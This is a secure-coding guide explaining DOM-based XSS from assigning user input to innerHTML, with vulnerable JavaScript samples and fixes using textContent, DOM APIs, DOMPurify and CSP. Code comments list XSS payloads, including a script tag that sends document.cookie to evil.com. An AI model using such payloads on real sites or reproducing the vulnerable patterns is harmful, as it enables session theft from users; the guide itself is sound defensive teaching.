JavaScript innerHTML XSS Vulnerability

Critical Risk Cross-site Scripting
javascriptxssdom-xssinnerHTMLwebinjectionuser-inputclient-sidecross-site-scriptingbrowser

What it is

A critical vulnerability that occurs when JavaScript applications directly assign user input to the innerHTML property of DOM elements without proper sanitization. This allows attackers to inject malicious HTML and JavaScript code that gets executed in the browser, leading to cross-site scripting (XSS) attacks.

// Vulnerable: Direct innerHTML assignment
function displayUserContent(content) {
    // Directly inserting user content - XSS risk!
    document.getElementById('user-content').innerHTML = content;
}

function handleCommentSubmission() {
    const comment = document.getElementById('comment-input').value;
    const userInfo = document.getElementById('user-info').value;

    // XSS vulnerability - no sanitization
    const html = '<div class="comment">' + comment + '</div>' +
                 '<div class="user">' + userInfo + '</div>';

    document.getElementById('comments-section').innerHTML += html;
}

// Attack vector: User enters: <script>alert('XSS')</script>
// Or: <img src=x onerror="steal_cookies()">
// Fixed: Safe content handling
function displayUserContent(content) {
    // Safe: Use textContent for text content
    document.getElementById('user-content').textContent = content;
}

function handleCommentSubmission() {
    const comment = document.getElementById('comment-input').value;
    const userInfo = document.getElementById('user-info').value;

    // Safe: Use DOM APIs to build structure
    const commentDiv = document.createElement('div');
    commentDiv.className = 'comment';
    commentDiv.textContent = comment; // Auto-escaped

    const userDiv = document.createElement('div');
    userDiv.className = 'user';
    userDiv.textContent = userInfo; // Auto-escaped

    const container = document.createElement('div');
    container.appendChild(commentDiv);
    container.appendChild(userDiv);

    document.getElementById('comments-section').appendChild(container);
}

// Alternative: HTML sanitization for rich content
import DOMPurify from 'dompurify';

function displayRichContent(htmlContent) {
    // Safe: Sanitize HTML before insertion
    const cleanHTML = DOMPurify.sanitize(htmlContent, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
        ALLOWED_ATTR: []
    });
    document.getElementById('content').innerHTML = cleanHTML;
}

💡 Why This Fix Works

The vulnerable code directly assigns user input to innerHTML without sanitization. The fixed version uses textContent and DOM APIs for safe content handling, or DOMPurify for controlled HTML rendering.

Why it happens

Directly assigning user input to innerHTML bypasses browser security mechanisms and allows arbitrary HTML and JavaScript execution. This is one of the most common DOM-based XSS vulnerabilities.

Root causes

Direct innerHTML Assignment with User Input

Directly assigning user input to innerHTML bypasses browser security mechanisms and allows arbitrary HTML and JavaScript execution. This is one of the most common DOM-based XSS vulnerabilities.

Preview example – JAVASCRIPT
// VULNERABLE: Direct innerHTML assignment
function displayUserContent(content) {
    // Directly inserting user content - XSS risk!
    document.getElementById('user-content').innerHTML = content;
}
// Attack: content = "<script>alert('XSS')</script>"
// Attack: content = "<img src=x onerror='steal_cookies()'>"

String Concatenation with innerHTML

Building HTML strings by concatenating user input and then assigning to innerHTML creates injection vulnerabilities. Each concatenated user input represents a potential attack vector.

Preview example – JAVASCRIPT
// VULNERABLE: String concatenation with innerHTML
function addComment(comment, author) {
    const html = '<div class="comment">' + comment + '</div>' +
                 '<div class="author">' + author + '</div>';
    document.getElementById('comments').innerHTML += html;
}
// Attack: comment = "</div><script>fetch('//evil.com/steal?data='+document.cookie)</script>"

Template Literals with User Data

Using template literals (backticks) to build HTML with user input creates the same vulnerabilities as string concatenation. Template literals provide no inherent protection against XSS attacks.

Preview example – JAVASCRIPT
// VULNERABLE: Template literals with user input
function createUserProfile(name, bio) {
    const profileHTML = `
        <div class="profile">
            <h2>${name}</h2>
            <p class="bio">${bio}</p>
        </div>
    `;
    document.getElementById('profile').innerHTML = profileHTML;
}
// Attack: bio = "</p><iframe src='javascript:alert(\"XSS\")'></iframe>"

Dynamic Content Updates with innerHTML

Updating page content dynamically using innerHTML with data from user input, form submissions, or URL parameters creates persistent XSS vulnerabilities that can affect multiple users.

Preview example – JAVASCRIPT
// VULNERABLE: Dynamic content updates
function updateStatus(message) {
    // User message displayed without sanitization
    document.querySelector('.status').innerHTML = 
        `<div class="alert">${message}</div>`;
}

// Called with URL parameter or form data
const urlParams = new URLSearchParams(window.location.search);
updateStatus(urlParams.get('message'));
// Attack: ?message=<svg/onload=alert('XSS')>

Fixes

1

Use textContent for Text Content

For plain text content, always use textContent instead of innerHTML. textContent automatically escapes all content and prevents any HTML interpretation.

View implementation – JAVASCRIPT
// SECURE: Use textContent for plain text
function displayUserContent(content) {
    // Safe: textContent automatically escapes content
    document.getElementById('user-content').textContent = content;
}

// SECURE: Safe text updates
function updateUserName(name) {
    document.querySelector('.user-name').textContent = name;
}

// SECURE: Safe form handling
function handleFormSubmission() {
    const comment = document.getElementById('comment-input').value;
    const display = document.getElementById('comment-display');
    display.textContent = comment; // Automatically escaped
}
2

Use DOM APIs to Build Elements Safely

Instead of building HTML strings, use DOM APIs like createElement, appendChild, and setAttribute to construct elements safely. This approach inherently prevents script injection.

View implementation – JAVASCRIPT
// SECURE: Build elements using DOM APIs
function addCommentSafely(comment, author) {
    // Create elements safely
    const commentDiv = document.createElement('div');
    commentDiv.className = 'comment';
    commentDiv.textContent = comment; // Auto-escaped

    const authorDiv = document.createElement('div');
    authorDiv.className = 'author';
    authorDiv.textContent = author; // Auto-escaped

    const container = document.createElement('div');
    container.appendChild(commentDiv);
    container.appendChild(authorDiv);

    document.getElementById('comments').appendChild(container);
}

// SECURE: Building complex structures
function createUserCard(user) {
    const card = document.createElement('div');
    card.className = 'user-card';
    
    const name = document.createElement('h3');
    name.textContent = user.name; // Safe
    
    const email = document.createElement('p');
    email.textContent = user.email; // Safe
    
    const avatar = document.createElement('img');
    avatar.src = sanitizeURL(user.avatarURL); // Validate URLs
    avatar.alt = `Avatar for ${user.name}`;
    
    card.appendChild(name);
    card.appendChild(email);
    card.appendChild(avatar);
    
    return card;
}
3

Use HTML Sanitization Libraries

When you need to allow some HTML content (like from a rich text editor), use a trusted HTML sanitization library like DOMPurify to clean the content before inserting it.

View implementation – JAVASCRIPT
// SECURE: HTML sanitization with DOMPurify
import DOMPurify from 'dompurify';

function displayRichContent(htmlContent) {
    // Configure sanitization policy
    const cleanHTML = DOMPurify.sanitize(htmlContent, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
        ALLOWED_ATTR: ['class'],
        ALLOW_DATA_ATTR: false
    });
    
    // Safe to use innerHTML after sanitization
    document.getElementById('content').innerHTML = cleanHTML;
}

// SECURE: Strict sanitization for user comments
function addRichComment(comment) {
    const cleanComment = DOMPurify.sanitize(comment, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong'], // Very limited
        ALLOWED_ATTR: [] // No attributes allowed
    });
    
    const commentElement = document.createElement('div');
    commentElement.className = 'comment';
    commentElement.innerHTML = cleanComment; // Safe after sanitization
    
    document.getElementById('comments').appendChild(commentElement);
}
4

Implement Input Validation and Escaping

Validate and escape user input before displaying it. Create utility functions to handle common escaping scenarios and validate input formats.

View implementation – JAVASCRIPT
// Input validation and escaping utilities
function escapeHTML(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

function validateEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email) && email.length <= 100;
}

function sanitizeURL(url) {
    try {
        const parsed = new URL(url);
        // Only allow http and https
        if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
            return parsed.toString();
        }
    } catch (e) {
        // Invalid URL
    }
    return '#'; // Safe fallback
}

// SECURE: Safe content display with validation
function displayUserInfo(user) {
    const container = document.getElementById('user-info');
    
    // Validate and escape all content
    const nameElement = document.createElement('h2');
    nameElement.textContent = user.name || 'Anonymous';
    
    const emailElement = document.createElement('p');
    if (validateEmail(user.email)) {
        emailElement.textContent = user.email;
    } else {
        emailElement.textContent = 'Invalid email';
        emailElement.className = 'error';
    }
    
    container.appendChild(nameElement);
    container.appendChild(emailElement);
}
5

Use Content Security Policy (CSP)

Implement Content Security Policy headers to provide additional protection against XSS attacks. CSP can block inline scripts even if they manage to be injected.

View implementation – JAVASCRIPT
// SECURE: Implement CSP and safe practices
// Add to HTML head or via HTTP headers:
// <meta http-equiv="Content-Security-Policy" 
//       content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'">

// Safe JavaScript practices with CSP
function initializeApp() {
    // Use event listeners instead of inline handlers
    document.getElementById('submit-btn').addEventListener('click', handleSubmit);
    
    // Load scripts from trusted sources only
    const script = document.createElement('script');
    script.src = '/js/trusted-library.js'; // Same origin only
    script.async = true;
    document.head.appendChild(script);
}

function handleSubmit(event) {
    event.preventDefault();
    
    const formData = new FormData(event.target.form);
    const comment = formData.get('comment');
    
    // Safe processing
    addCommentSafely(comment, getCurrentUser());
}

// Initialize safely when DOM is ready
if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', initializeApp);
} else {
    initializeApp();
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies javascript innerhtml xss vulnerability and many other security issues in your codebase.